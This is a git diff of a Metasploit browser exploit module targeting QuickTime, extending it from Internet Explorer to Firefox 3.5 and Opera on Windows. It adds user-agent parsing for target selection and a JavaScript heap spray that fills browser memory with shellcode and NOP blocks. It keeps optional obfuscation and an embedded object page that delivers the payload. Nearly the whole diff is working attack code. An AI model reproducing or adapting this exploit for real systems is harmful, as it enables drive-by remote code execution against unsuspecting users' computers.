@@ -16,10 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
16
16
autopwn_info ( {
17
17
:os_name => OperatingSystems ::WINDOWS ,
18
18
:javascript => true ,
19
- :rank => NormalRanking ,
20
- :ua_name => HttpClients ::IE ,
21
- :ua_minver => "6.0" ,
22
- :ua_maxver => "7.0"
19
+ :rank => NormalRanking
23
20
} )
24
21
25
22
def initialize ( info = { } )
@@ -65,8 +62,8 @@ def initialize(info = {})
65
62
# Tested with QuickTime 7.7.2
66
63
[ 'Automatic' , { } ] ,
67
64
[ 'IE 6 on Windows XP SP3' , { } ] ,
68
- [ 'IE 7 on Windows XP SP3' , { } ] ,
69
- [ 'IE 7 on Windows Vista ' , { } ]
65
+ [ 'Firefox 3.5 on Windows XP SP3' , { } ] ,
66
+ [ 'Firefox 3.5.1 on Windows XP SP3 ' , { } ]
70
67
] ,
71
68
'Privileged' => false ,
72
69
'DisclosureDate' => 'Nov 07 2012' ,
@@ -83,9 +80,18 @@ def get_target(agent)
83
80
return target if target . name != 'Automatic'
84
81
85
82
nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
86
- ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
87
83
88
- ie_name = "IE #{ ie } "
84
+ browser_name = ""
85
+ if agent =~ /MSIE/
86
+ browser_version = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
87
+ browser_name = "IE #{ browser_version } "
88
+ elsif agent =~ /Firefox\/ 3.5$/
89
+ browser_name = "Firefox 3.5 "
90
+ elsif agent =~ /Firefox\/ 3.5.1$/
91
+ browser_name = "Firefox 3.5.1"
92
+ elsif agent =~ /Opera\/ 9/
93
+ browser_name = "Opera"
94
+ end
89
95
90
96
case nt
91
97
when '5.1'
@@ -97,7 +103,7 @@ def get_target(agent)
97
103
end
98
104
99
105
targets . each do |t |
100
- if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
106
+ if ( !browser_name . empty? and t . name . include? ( browser_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
101
107
print_status ( "Target selected as: #{ t . name } " )
102
108
return t
103
109
end
@@ -190,7 +196,8 @@ def on_request_uri(client, request)
190
196
code = Rex ::Text . to_unescape ( payload . encoded , arch )
191
197
192
198
# Spray puts payload on 0x31313131
193
- spray = <<-JS
199
+ if my_target . name =~ /IE/
200
+ spray = <<-JS
194
201
var heap_obj = new heapLib.ie(0x20000);
195
202
var code = unescape("#{ code } ");
196
203
var nops = unescape("#{ nops } ");
@@ -206,15 +213,29 @@ def on_request_uri(client, request)
206
213
for (var i=0; i < 1600; i++) {
207
214
heap_obj.alloc(block);
208
215
}
209
- JS
210
-
211
- #Use heaplib
212
- js_spray = heaplib ( spray )
213
-
214
- #obfuscate on demand
215
- if datastore [ 'OBFUSCATE' ]
216
- js_spray = ::Rex ::Exploitation ::JSObfu . new ( js_spray )
217
- js_spray . obfuscate
216
+ JS
217
+
218
+ #Use heaplib
219
+ js_spray = heaplib ( spray )
220
+
221
+ #obfuscate on demand
222
+ if datastore [ 'OBFUSCATE' ]
223
+ js_spray = ::Rex ::Exploitation ::JSObfu . new ( js_spray )
224
+ js_spray . obfuscate
225
+ end
226
+ else
227
+ js_spray = <<-JS
228
+ var shellcode = unescape("#{ code } ");
229
+ var bigblock = unescape("#{ nops } ");
230
+ var headersize = 20;
231
+ var slackspace = headersize + shellcode.length;
232
+ while (bigblock.length < slackspace) bigblock += bigblock;
233
+ var fillblock = bigblock.substring(0,slackspace);
234
+ var block = bigblock.substring(0,bigblock.length - slackspace);
235
+ while (block.length + slackspace < 0x40000) block = block + block + fillblock;
236
+ var memory = new Array();
237
+ for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
238
+ JS
218
239
end
219
240
220
241
content = "<html>"
@@ -226,6 +247,7 @@ def on_request_uri(client, request)
226
247
</head>
227
248
JSPRAY
228
249
content << "<body>"
250
+
229
251
content << <<-ENDEMBED
230
252
<OBJECT
231
253
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
@@ -251,6 +273,7 @@ def on_request_uri(client, request)
251
273
</EMBED>
252
274
</OBJECT>
253
275
ENDEMBED
276
+
254
277
content << "</body></html>"
255
278
256
279
send_response ( client , content , { 'Content-Type' => "text/html" } )
0 commit comments